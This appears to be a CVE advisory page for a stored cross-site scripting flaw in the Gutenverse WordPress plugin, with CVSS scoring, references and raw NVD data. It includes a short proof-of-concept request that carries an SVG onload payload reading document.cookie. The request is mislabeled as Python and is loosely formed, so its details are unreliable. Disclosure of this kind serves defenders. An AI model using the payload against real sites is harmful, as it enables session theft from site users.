CVE-2026-2868

Description

The Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'separatorIconSVG' parameter in versions up to, and including, 3.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Gutenverse Plugin <= 3.5.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-2868
// Injecting malicious script via separatorIconSVG parameter

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [wordpress_cookie]

action=gutenverse_save_block&nonce=[nonce_value]&block_data={
  "separatorIconSVG": "<svg/onload=alert(document.cookie)>"
}

// Alternatively, manipulating the REST API payload:
// Update a post with a block containing the malicious SVG payload.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2868
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2868
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2868/
[4] VulDB https://vuldb.com/cve/CVE-2026-2868
[5] https://plugins.trac.wordpress.org/changeset/3507804/gutenverse
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/cc540e5c-180f-4743-b1fb-608aa0e3ae79?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2868", "sourceIdentifier": "[email protected]", "published": "2026-05-05T03:15:59.263", "lastModified": "2026-05-05T19:09:32.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'separatorIconSVG' parameter in versions up to, and including, 3.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3507804/gutenverse", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cc540e5c-180f-4743-b1fb-608aa0e3ae79?source=cve", "source": "[email protected]"}]}}